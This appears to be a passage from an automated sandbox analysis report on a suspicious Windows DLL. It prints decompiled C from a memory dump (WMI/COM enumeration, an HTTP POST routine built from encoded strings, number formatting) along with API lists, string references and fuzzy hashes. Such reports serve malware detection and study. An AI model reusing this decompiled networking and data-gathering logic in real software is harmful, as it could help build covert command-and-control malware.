							 *((intOrPtr*)(_t320 + 4)) = E6CE691C4(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E6CE68679(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E6CE685E5( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E6CE685FB(_t136, 0);
								E6CE685FB( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E6CE691C4(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E6CE695C2(_t281, 0x250);
								 *_t329 = 0x4cc;
								_t217 = E6CE695C2(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6CE685E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E6CE685B6( &_v92);
											E6CE685B6( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E6CE69621();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6CE685E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E6CE695C2(_t283, 0x219);
										E6CE69621( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E6CE685B6( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E6CE691C4(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E6CE6DA62( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E6CE685FB( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

0x6ce6db87
0x6ce6db8d
0x6ce6db94
0x6ce6db97
0x6ce6db9a
0x6ce6db9f
0x6ce6dba1
0x6ce6dba6
0x6ce6dfee
0x6ce6dfee
0x6ce6dbb3
0x6ce6dbb5
0x6ce6dbb8
0x6ce6dbbb
0x6ce6dfd3
0x6ce6dfd9
0x6ce6dfe3
0x00000000
0x6ce6dfe8
0x6ce6dbc6
0x6ce6dbcd
0x6ce6dbd4
0x6ce6dbd7
0x6ce6dbdc
0x6ce6dbde
0x6ce6dbe1
0x6ce6dbe4
0x6ce6dbe5
0x6ce6dbee
0x6ce6dbf4
0x6ce6dbf7
0x6ce6dc00
0x6ce6dc05
0x6ce6dc0a
0x6ce6dc21
0x6ce6dc2e
0x6ce6dc31
0x6ce6dc38
0x6ce6dc3d
0x6ce6dc44
0x6ce6dc49
0x6ce6dc50
0x6ce6dc52
0x6ce6dc5e
0x6ce6dc61
0x6ce6dc63
0x6ce6dfc3
0x6ce6dfc4
0x6ce6dfcd
0x00000000
0x6ce6dfcd
0x6ce6dc69
0x6ce6dc6c
0x6ce6dc6f
0x6ce6dc72
0x6ce6dc74
0x6ce6df8f
0x6ce6df92
0x6ce6df95
0x6ce6df97
0x6ce6dfb9
0x6ce6dfbe
0x6ce6df99
0x6ce6df9c
0x6ce6dfa7
0x6ce6dfae
0x6ce6dfae
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6dc7a
0x6ce6dc7a
0x6ce6dc8c
0x6ce6dc8f
0x6ce6dc91
0x00000000
0x00000000
0x6ce6dc99
0x6ce6dc9c
0x6ce6dc9f
0x6ce6dca2
0x6ce6dca5
0x6ce6dca8
0x00000000
0x00000000
0x6ce6dcae
0x6ce6dcbc
0x6ce6dcbf
0x6ce6dcc1
0x6ce6dcda
0x6ce6dce9
0x6ce6dcf1
0x6ce6dcf1
0x6ce6dcf4
0x6ce6dcfb
0x6ce6dcff
0x6ce6dd05
0x6ce6dd07
0x6ce6df77
0x6ce6df7d
0x6ce6df83
0x6ce6df86
0x6ce6df86
0x00000000
0x6ce6df86
0x6ce6dd16
0x6ce6dd2a
0x6ce6dd2e
0x6ce6dd30
0x6ce6dd35
0x6ce6df44
0x6ce6df4a
0x6ce6df55
0x6ce6df60
0x6ce6df66
0x6ce6df6c
0x6ce6df6f
0x00000000
0x6ce6df6f
0x6ce6dd3b
0x6ce6df12
0x6ce6df12
0x6ce6df15
0x6ce6df18
0x00000000
0x00000000
0x6ce6dd43
0x6ce6dd4b
0x6ce6dd52
0x6ce6dd58
0x6ce6dd5a
0x00000000
0x00000000
0x6ce6dd63
0x6ce6dd78
0x6ce6dd7e
0x6ce6dd87
0x6ce6dd8a
0x6ce6dd8d
0x6ce6dd8f
0x6ce6df05
0x6ce6df08
0x6ce6df11
0x6ce6df11
0x00000000
0x6ce6df11
0x6ce6dd9f
0x6ce6dda2
0x6ce6dda9
0x6ce6ddaf
0x6ce6ddb2
0x6ce6ddb5
0x6ce6ddb8
0x6ce6ddbb
0x6ce6ddf7
0x6ce6ddf7
0x6ce6ddfa
0x6ce6dea6
0x6ce6deba
0x6ce6deca
0x6ce6dece
0x6ce6ded0
0x6ce6dee7
0x6ce6deeb
0x6ce6def4
0x6ce6deff
0x00000000
0x6ce6deff
0x6ce6ded6
0x6ce6ded7
0x6ce6dedc
0x6ce6dedc
0x6ce6dede
0x6ce6dedf
0x6ce6dee4
0x00000000
0x6ce6dee4
0x6ce6de00
0x6ce6de00
0x6ce6de03
0x6ce6de6e
0x6ce6de82
0x6ce6de92
0x6ce6de96
0x6ce6de98
0x00000000
0x00000000
0x6ce6de9e
0x6ce6de9f
0x00000000
0x6ce6de9f
0x6ce6de05
0x6ce6de05
0x6ce6de08
0x00000000
0x00000000
0x6ce6de0a
0x6ce6de0d
0x00000000
0x00000000
0x6ce6de0f
0x6ce6de0f
0x6ce6de15
0x6ce6de31
0x6ce6de40
0x6ce6de49
0x6ce6de4e
0x6ce6de51
0x6ce6de57
0x6ce6de57
0x6ce6de5c
0x6ce6de68
0x00000000
0x6ce6de68
0x6ce6de1a
0x00000000
0x6ce6de1a
0x6ce6ddbd
0x6ce6dde4
0x6ce6dde9
0x6ce6ddee
0x6ce6ddf0
0x6ce6ddf0
0x00000000
0x6ce6ddee
0x6ce6ddbf
0x6ce6ddbf
0x6ce6ddc2
0x00000000
0x00000000
0x6ce6ddc8
0x6ce6ddc8
0x6ce6ddcb
0x00000000
0x00000000
0x6ce6ddd1
0x6ce6ddd1
0x6ce6ddd4
0x00000000
0x00000000
0x6ce6ddda
0x6ce6dddd
0x00000000
0x00000000
0x6ce6dddf
0x00000000
0x6ce6dddf
0x6ce6df21
0x6ce6df27
0x6ce6df2d
0x6ce6df30
0x6ce6df33
0x6ce6df33
0x6ce6df36
0x6ce6df37
0x6ce6df3a
0x6ce6df3c
0x00000000
0x00000000
0x6ce6df8c
0x6ce6df8c
0x00000000
0x6ce6df8c
0x6ce6dcc3
0x6ce6dcc9
0x00000000
0x6ce6dcc9
0x6ce6df89
0x00000000
0x6ce6dc0c
0x6ce6dc11
0x6ce6dc16
0x00000000
0x6ce6dc1a

APIs

Part of subcall function 6CE6D565: CoInitializeEx.OLE32(00000000,00000000), ref: 6CE6D578
Part of subcall function 6CE6D565: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6CE6D589
Part of subcall function 6CE6D565: CoCreateInstance.OLE32(6CE7B848,00000000,00000001,6CE7B858,?), ref: 6CE6D5A0
Part of subcall function 6CE6D565: SysAllocString.OLEAUT32(00000000), ref: 6CE6D5AB
Part of subcall function 6CE6D565: CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6CE6D5D6

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

SysAllocString.OLEAUT32(00000000), ref: 6CE6DC27
SysAllocString.OLEAUT32(00000000), ref: 6CE6DC3B
SysFreeString.OLEAUT32(?), ref: 6CE6DFC4
SysFreeString.OLEAUT32(?), ref: 6CE6DFCD

Part of subcall function 6CE685FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6CE68641

Strings

TRUE, xrefs: 6CE6DDE9
FALSE, xrefs: 6CE6DDF0

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Alloc$Free$HeapInitialize$BlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 224402418-1412513891
Opcode ID: d1ff4189b70b545aadaafd81f65dc2a7bf8931187ecb833e615ba51bf795eecd
Instruction ID: 8924badadb2834ddbd3e56017644ddc503a67eeca55568f5d0d03369e11c41db
Opcode Fuzzy Hash: d1ff4189b70b545aadaafd81f65dc2a7bf8931187ecb833e615ba51bf795eecd
Instruction Fuzzy Hash: 6EE16F75E50219EFDB14DFA5C894AEEBBB9FF09308F30415DE511A7A80DB30AA05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6E6AA, Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6CE6E6AA(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				int _v76;
				void* _v80;
				intOrPtr _v100;
				int _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				char* _v120;
				void _v124;
				char _v140;
				void _v396;
				void _v652;
				intOrPtr _t105;
				intOrPtr _t113;
				intOrPtr* _t115;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t131;
				char _t133;
				intOrPtr _t136;
				char _t138;
				char _t139;
				intOrPtr _t141;
				intOrPtr _t147;
				intOrPtr _t154;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t172;
				intOrPtr _t176;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				char _t195;
				intOrPtr _t203;
				intOrPtr _t204;
				signed int _t209;
				void _t212;
				intOrPtr _t213;
				void* _t214;
				intOrPtr _t216;
				char _t217;
				intOrPtr _t218;
				signed int _t219;
				signed int _t220;
				void* _t221;

				_v40 = _v40 & 0x00000000;
				_v24 = 4;
				_v36 = 1;
				_t214 = __edx;
				memset( &_v396, 0, 0x100);
				memset( &_v652, 0, 0x100);
				_v64 = E6CE695A8(0x85b);
				_v60 = E6CE695A8(0xdc9);
				_v56 = E6CE695A8(0x65d);
				_v52 = E6CE695A8(0xdd3);
				_t105 = E6CE695A8(0xb74);
				_v44 = _v44 & 0;
				_t212 = 0x3c;
				_v48 = _t105;
				memset( &_v124, 0, 0x100);
				_v116 = 0x10;
				_v120 =  &_v140;
				_v124 = _t212;
				_v108 =  &_v396;
				_v104 = 0x100;
				_v80 =  &_v652;
				_push( &_v124);
				_push(0);
				_v76 = 0x100;
				_push(E6CE6C3BB(_t214));
				_t113 =  *0x6ce7e6a4; // 0x0
				_push(_t214);
				if( *((intOrPtr*)(_t113 + 0x28))() != 0) {
					_t209 = 0;
					_v20 = 0;
					do {
						_t115 =  *0x6ce7e6a4; // 0x0
						_v12 = 0x8404f700;
						_t213 =  *_t115( *0x6ce7e788,  *((intOrPtr*)(_t221 + _t209 * 4 - 0x24)), 0, 0, 0);
						if(_t213 != 0) {
							_t195 = 3;
							_t185 = 4;
							_v8 = _t195;
							_t118 =  *0x6ce7e6a4; // 0x0
							 *((intOrPtr*)(_t118 + 0x14))(_t213, _t195,  &_v8, _t185);
							_v8 = 0x3a98;
							_t121 =  *0x6ce7e6a4; // 0x0
							 *((intOrPtr*)(_t121 + 0x14))(_t213, 2,  &_v8, _t185);
							_v8 = 0x493e0;
							_t124 =  *0x6ce7e6a4; // 0x0
							 *((intOrPtr*)(_t124 + 0x14))(_t213, 6,  &_v8, _t185);
							_v8 = 0x493e0;
							_t127 =  *0x6ce7e6a4; // 0x0
							 *((intOrPtr*)(_t127 + 0x14))(_t213, 5,  &_v8, _t185);
							_t131 =  *0x6ce7e6a4; // 0x0
							_t186 =  *((intOrPtr*)(_t131 + 0x1c))(_t213,  &_v396, _v100, 0, 0, 3, 0, 0);
							if(_a24 != 0) {
								E6CE697ED(_a24);
							}
							if(_t186 != 0) {
								_t133 = 0x8484f700;
								if(_v112 != 4) {
									_t133 = _v12;
								}
								_t136 =  *0x6ce7e6a4; // 0x0
								_t216 =  *((intOrPtr*)(_t136 + 0x20))(_t186, "POST",  &_v652, 0, 0,  &_v64, _t133, 0);
								_v8 = _t216;
								if(_a24 != 0) {
									E6CE697ED(_a24);
								}
								if(_t216 != 0) {
									_t138 = 4;
									if(_v112 != _t138) {
										L19:
										_t139 = E6CE695A8(0x777);
										_t217 = _t139;
										_v12 = _t217;
										_t141 =  *0x6ce7e6a4; // 0x0
										_t218 = _v8;
										_v28 =  *((intOrPtr*)(_t141 + 0x24))(_t218, _t217, E6CE6C3BB(_t217), _a4, _a8);
										E6CE685A3( &_v12);
										if(_a24 != 0) {
											E6CE697ED(_a24);
										}
										if(_v28 != 0) {
											L28:
											_v24 = 8;
											_push(0);
											_v32 = 0;
											_v28 = 0;
											_push( &_v24);
											_push( &_v32);
											_t147 =  *0x6ce7e6a4; // 0x0
											_push(0x13);
											_push(_t218);
											if( *((intOrPtr*)(_t147 + 0xc))() != 0) {
												_t219 = E6CE6972A( &_v32);
												if(_t219 == 0xc8) {
													 *_a20 = _v8;
													 *_a12 = _t213;
													 *_a16 = _t186;
													return 0;
												}
												_t220 =  ~_t219;
												L32:
												_t154 =  *0x6ce7e6a4; // 0x0
												 *((intOrPtr*)(_t154 + 8))(_v8);
												L33:
												if(_t186 != 0) {
													_t158 =  *0x6ce7e6a4; // 0x0
													 *((intOrPtr*)(_t158 + 8))(_t186);
												}
												if(_t213 != 0) {
													_t203 =  *0x6ce7e6a4; // 0x0
													 *((intOrPtr*)(_t203 + 8))(_t213);
												}
												return _t220;
											}
											GetLastError();
											_t220 = 0xfffffff8;
											goto L32;
										} else {
											GetLastError();
											_t162 =  *0x6ce7e6a4; // 0x0
											 *((intOrPtr*)(_t162 + 8))(_t218);
											_t218 = 0;
											goto L23;
										}
									}
									_v12 = _t138;
									_push( &_v12);
									_push( &_v16);
									_t172 =  *0x6ce7e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t172 + 0x18))() == 0) {
										L18:
										GetLastError();
										goto L19;
									}
									_v16 = _v16 | 0x00003380;
									_push(4);
									_push( &_v16);
									_t176 =  *0x6ce7e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t176 + 0x14))() != 0) {
										goto L19;
									}
									goto L18;
								} else {
									GetLastError();
									L23:
									_t164 =  *0x6ce7e6a4; // 0x0
									 *((intOrPtr*)(_t164 + 8))(_t186);
									_t186 = 0;
									goto L24;
								}
							} else {
								GetLastError();
								L24:
								_t166 =  *0x6ce7e6a4; // 0x0
								 *((intOrPtr*)(_t166 + 8))(_t213);
								_t213 = 0;
								goto L25;
							}
						}
						GetLastError();
						L25:
						_t204 = _t218;
						_t209 = _v20 + 1;
						_v20 = _t209;
					} while (_t209 < 2);
					_v8 = _t218;
					if(_t204 != 0) {
						goto L28;
					}
					_t220 = 0xfffffffe;
					goto L33;
				}
				_t183 = 0xfffffffc;
				return _t183;
			}

0x6ce6e6b3
0x6ce6e6c5
0x6ce6e6ce
0x6ce6e6d8
0x6ce6e6dc
0x6ce6e6ed
0x6ce6e704
0x6ce6e711
0x6ce6e71e
0x6ce6e72b
0x6ce6e72e
0x6ce6e733
0x6ce6e738
0x6ce6e73a
0x6ce6e742
0x6ce6e74d
0x6ce6e754
0x6ce6e760
0x6ce6e763
0x6ce6e771
0x6ce6e774
0x6ce6e77a
0x6ce6e77b
0x6ce6e77d
0x6ce6e786
0x6ce6e787
0x6ce6e78c
0x6ce6e792
0x6ce6e79c
0x6ce6e79e
0x6ce6e7a3
0x6ce6e7a3
0x6ce6e7b2
0x6ce6e7c1
0x6ce6e7c5
0x6ce6e7d4
0x6ce6e7d7
0x6ce6e7dc
0x6ce6e7e0
0x6ce6e7e7
0x6ce6e7ee
0x6ce6e7f6
0x6ce6e7fe
0x6ce6e805
0x6ce6e80d
0x6ce6e815
0x6ce6e81c
0x6ce6e824
0x6ce6e82c
0x6ce6e841
0x6ce6e84e
0x6ce6e850
0x6ce6e855
0x6ce6e855
0x6ce6e85c
0x6ce6e86d
0x6ce6e872
0x6ce6e874
0x6ce6e874
0x6ce6e888
0x6ce6e89a
0x6ce6e89c
0x6ce6e89f
0x6ce6e8a4
0x6ce6e8a4
0x6ce6e8ab
0x6ce6e8ba
0x6ce6e8be
0x6ce6e8fc
0x6ce6e901
0x6ce6e909
0x6ce6e90e
0x6ce6e919
0x6ce6e91f
0x6ce6e929
0x6ce6e92c
0x6ce6e935
0x6ce6e93a
0x6ce6e93a
0x6ce6e943
0x6ce6e98c
0x6ce6e98e
0x6ce6e995
0x6ce6e996
0x6ce6e999
0x6ce6e99f
0x6ce6e9a3
0x6ce6e9a4
0x6ce6e9a9
0x6ce6e9ab
0x6ce6e9b1
0x6ce6e9c6
0x6ce6e9ce
0x6ce6ea03
0x6ce6ea08
0x6ce6ea0d
0x00000000
0x6ce6ea0f
0x6ce6e9d0
0x6ce6e9d2
0x6ce6e9d2
0x6ce6e9db
0x6ce6e9de
0x6ce6e9e0
0x6ce6e9e2
0x6ce6e9e8
0x6ce6e9e8
0x6ce6e9ed
0x6ce6e9ef
0x6ce6e9f6
0x6ce6e9f6
0x00000000
0x6ce6e9f9
0x6ce6e9b3
0x6ce6e9bb
0x00000000
0x6ce6e945
0x6ce6e945
0x6ce6e94b
0x6ce6e951
0x6ce6e954
0x00000000
0x6ce6e954
0x6ce6e943
0x6ce6e8c0
0x6ce6e8c6
0x6ce6e8ca
0x6ce6e8cb
0x6ce6e8d0
0x6ce6e8d2
0x6ce6e8d8
0x6ce6e8f6
0x6ce6e8f6
0x00000000
0x6ce6e8f6
0x6ce6e8da
0x6ce6e8e4
0x6ce6e8e6
0x6ce6e8e7
0x6ce6e8ec
0x6ce6e8ee
0x6ce6e8f4
0x00000000
0x00000000
0x00000000
0x6ce6e8ad
0x6ce6e8ad
0x6ce6e956
0x6ce6e956
0x6ce6e95c
0x6ce6e95f
0x00000000
0x6ce6e95f
0x6ce6e85e
0x6ce6e85e
0x6ce6e961
0x6ce6e961
0x6ce6e967
0x6ce6e96a
0x00000000
0x6ce6e96a
0x6ce6e85c
0x6ce6e7c7
0x6ce6e96c
0x6ce6e96f
0x6ce6e971
0x6ce6e974
0x6ce6e977
0x6ce6e980
0x6ce6e985
0x00000000
0x00000000
0x6ce6e989
0x00000000
0x6ce6e989
0x6ce6e796
0x00000000

APIs

memset.MSVCRT ref: 6CE6E6DC
memset.MSVCRT ref: 6CE6E6ED
memset.MSVCRT ref: 6CE6E742
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 6CE6E7C7

Strings

POST, xrefs: 6CE6E88D

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: 1f6e24c8b356b5d19ad07d0ef09fa6978162ef4af660421c3786f4c689a1c5a0
Instruction ID: cbfa322d2af9fc5d87e424cd68036d0747c6d1242e858893545b3ff6aa7ce4f1
Opcode Fuzzy Hash: 1f6e24c8b356b5d19ad07d0ef09fa6978162ef4af660421c3786f4c689a1c5a0
Instruction Fuzzy Hash: 5AB19071A50618AFDB11CFA5CC88EDE7BB8EF49314F20406AF505EB690DB749E44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE702EA, Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 6CE7036A
qsort.MSVCRT ref: 6CE705E8

Strings

%I64d, xrefs: 6CE7035C
false, xrefs: 6CE7034D
null, xrefs: 6CE7032F
l, xrefs: 6CE702F8, 6CE706CF, 6CE706D9, 6CE705BA, 6CE70549, 6CE704D7, 6CE70354, 6CE70384, 6CE70398, 6CE70399, 6CE703BB, 6CE703C3, 6CE703DB, 6CE703EB, 6CE70477, 6CE7050A, 6CE70522, 6CE70599, 6CE705BF, 6CE705C5, 6CE705C6, 6CE7060A, 6CE706D2, 6CE706D3
l, xrefs: 6CE705E5
true, xrefs: 6CE70341

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true$l$l
API String ID: 756996078-1098255685
Opcode ID: a921245e774ff12553d4e9466db5351b35cc1d5d057bbc6a4e2d6c678817f5d8
Instruction ID: cf2ff56f517994343aa2479e507e50408968f2c8d624e405aa5dbbf8529ef6b4
Opcode Fuzzy Hash: a921245e774ff12553d4e9466db5351b35cc1d5d057bbc6a4e2d6c678817f5d8
Instruction Fuzzy Hash: 45E17AB190028ABBDB219FA5CC81EEF3B79EF45358F244419FD1496A40E732D961CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE7215A, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE7215A(char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				int _t15;
				char* _t24;
				char* _t26;
				char* _t28;
				char* _t29;
				signed int _t40;
				char* _t43;
				char* _t45;
				long long* _t47;

				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t26 = _a4;
				_push(_t30);
				 *_t47 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t26);
				L6CE722BD();
				_t40 = _t12;
				if(_t40 < 0 || _t40 >= _a8) {
					L19:
					_t13 = _t12 | 0xffffffff;
					goto L20;
				} else {
					L6CE72305();
					_t15 =  *((intOrPtr*)( *_t12));
					if(_t15 != 0x2e) {
						_t24 = strchr(_t26, _t15);
						if(_t24 != 0) {
							 *_t24 = 0x2e;
						}
					}
					if(strchr(_t26, 0x2e) != 0 || strchr(_t26, 0x65) != 0) {
						L11:
						_t43 = strchr(_t26, 0x65);
						_t28 = _t43;
						if(_t43 == 0) {
							L18:
							_t13 = _t40;
							L20:
							return _t13;
						}
						_t45 = _t43 + 1;
						_t29 = _t28 + 2;
						if( *_t45 == 0x2d) {
							_t45 = _t29;
						}
						while( *_t29 == 0x30) {
							_t29 = _t29 + 1;
						}
						if(_t29 != _t45) {
							E6CE686E7(_t45, _t29, _t40 - _t29 + _a4);
							_t40 = _t40 + _t45 - _t29;
						}
						goto L18;
					} else {
						_t12 = _t40 + 3;
						if(_t12 >= _a8) {
							goto L19;
						}
						_t26[_t40] = 0x302e;
						( &(_t26[2]))[_t40] = 0;
						_t40 = _t40 + 2;
						goto L11;
					}
				}
			}

0x6ce7215d
0x6ce72162
0x6ce72166
0x6ce72166
0x6ce7216b
0x6ce72170
0x6ce72171
0x6ce72174
0x6ce72175
0x6ce7217a
0x6ce7217d
0x6ce7217e
0x6ce72183
0x6ce7218a
0x6ce72230
0x6ce72230
0x00000000
0x6ce72199
0x6ce72199
0x6ce721a0
0x6ce721a4
0x6ce721ab
0x6ce721b4
0x6ce721b6
0x6ce721b6
0x6ce721b4
0x6ce721c5
0x6ce721eb
0x6ce721f4
0x6ce721f6
0x6ce721fc
0x6ce7222b
0x6ce7222b
0x6ce72233
0x6ce72236
0x6ce72236
0x6ce721fe
0x6ce721ff
0x6ce72205
0x6ce72207
0x6ce72207
0x6ce7220c
0x6ce7220b
0x6ce7220b
0x6ce72213
0x6ce7221f
0x6ce72229
0x6ce72229
0x00000000
0x6ce721d5
0x6ce721d5
0x6ce721db
0x00000000
0x00000000
0x6ce721dd
0x6ce721e3
0x6ce721e8
0x00000000
0x6ce721e8
0x6ce721c5

APIs

_snprintf.MSVCRT ref: 6CE7217E
localeconv.MSVCRT ref: 6CE72199
strchr.MSVCRT ref: 6CE721AB
strchr.MSVCRT ref: 6CE721BC
strchr.MSVCRT ref: 6CE721CA
strchr.MSVCRT ref: 6CE721EF

Strings

l, xrefs: 6CE7216F, 6CE72170, 6CE721EB
%.*g, xrefs: 6CE72175

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

